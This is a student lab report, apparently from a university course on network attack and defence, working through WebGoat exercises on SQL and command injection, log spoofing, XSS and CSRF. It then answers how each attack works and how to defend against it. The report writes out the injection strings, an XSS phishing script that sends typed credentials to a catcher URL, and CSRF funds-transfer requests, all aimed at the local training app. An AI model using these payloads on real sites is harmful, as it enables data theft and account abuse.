zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175105王鑫浩《网络对抗技术》Exp9 Web安全基础

    2019-2020-2 20175105王鑫浩《网络对抗技术》Exp9 Web安全基础

    一、基础知识

    • SQL注入
      • 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
      • 就是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
    • XSS攻击
      • 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
      • XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。
    • CSRF攻击
      • Cross Site Request Forgery跨站请求伪造
      • CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证。只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
      • 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。

    二、实验步骤

    (一)安装WebGoat

    下载Jar包webgoat-container-7.0.1-war-exec.jar

    使用java -jar webgoat-container-7.0.1-war-exec.jar命令开启WebGoat

    打开浏览器,输入localhost:8080/WebGoat,登录

    (二)注入攻击:Injection Flaws

    • 命令注入:Command Injection

    左侧功能栏选中Injection Flaws—>Command Injection,右键点击页面,选择inspect Element审查网页元素对源代码选择Edit At Html进行修改,添加"& netstat -an & ipconfig"

    点击view,查看执行指令后的网络端口使用情况和IP地址

    • 数字型注入:Numeric SQL Injection

    右键点击页面,选择inspect Element审查网页元素对
    在Value值101中添加or 1=1,点击Go!显示所有天气数

    • 日志欺骗:Log Spoofing

    左侧功能栏选中Injection Flaws—>Log Spoofing,在User Name输入webgoat%0d%0aLogin Succeeded for username: 20175105

    • 字符串注入:String SQL Injection

    输入查询的用户名mark' or 1=1--select表里面的所有数据

    • LAB: SQL Injection

    对源代码maxlength进行修改后,输入密码' or 1=1 --登录

    • Database Backdoors(数据库后门)

    在用户ID输入两个语句101; update employee set salary=10000使用;分隔

    (三)XSS攻击

    • XSS 钓鱼:Phishing with XSS

    在搜索框输入如下代码

    </form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
    


    在产生的用户名和密码输入框中,输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

    • 存储型XSS攻击:Stored XSS Attacks

    在title中输入任意字符,留言板中输入alert("Stored XSS Attacks,20175105.");,点击生成的message。

    • 反射型XSS攻击:Reflected XSS Attacks

    在Enter your three digit access code框中输入alert("Reflacted XSS Attacks, 20175105");,点击Purchase

    CSRF攻击

    • 跨站请求伪造:Cross Site Request Forgery (CSRF)

    查看页面右侧Parameters中的src和menu值

    在message框中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=1888" width="1" height="1" />

    • 绕过 CSRF 确认:CSRF Prompt By‐Pass

    在title框中随意输入,message框中输入代码:

    <iframe src="attack?Screen=323&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=323&menu=900&transferFunds=CONFIRM"> </iframe>
    


    三、问题回答

    1.SQL注入攻击原理,如何防

    • 原理:

      Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

    • 防御:

      使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等

    2.XSS攻击的原理,如何防御

    • 原理:

      XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    • 防御:

      当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

    3.CSRF攻击原理,如何防御

    • 原理:

      通过伪装来自受信任用户的请求来利用受信任的网站,挟制用户在当前已登录的Web应用程序上执行非本意的操作

    • 防御:

      对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

      另一个可选的方法是“双提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。如果服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。

    实验中遇到的问题

    • 安装WebGoat时,提示无法安装

    • 重新配置安装JDK文件

    实验体会

    本次实验比较简单,而且环境配置基本上全部由WebGoat提供,实验过程中,学习到了各种Web攻击的基本操作方法,感触很深。

  • 相关阅读:
    AX ERROR: Could not find my mock parent, most likely I am stale 不及格的程序员
    利用Segue在视图控制器间传值的问题 不及格的程序员
    Creating a Singleton Instance 不及格的程序员
    iPad 通知 UIKeyboardWillShowNotification 不会在keyBoard处在Undock状态下接到通知 不及格的程序员
    Why RootViewController's view is rotated Automatically by System when the app first loaded? 不及格的程序员
    如何弹出UIDatePicker最好 不及格的程序员
    jQuery开始做恶了 不及格的程序员
    what is the SEL,id and IMP,Class ,Method? 不及格的程序员
    Objectivec 字符串比较的陷井 不及格的程序员
    Unable to create any keyboard shortcuts after the iOS 6.1.3 update on iPad. 不及格的程序员
  • 原文地址:https://www.cnblogs.com/wxhblogs/p/12995351.html
Copyright © 2011-2022 走看看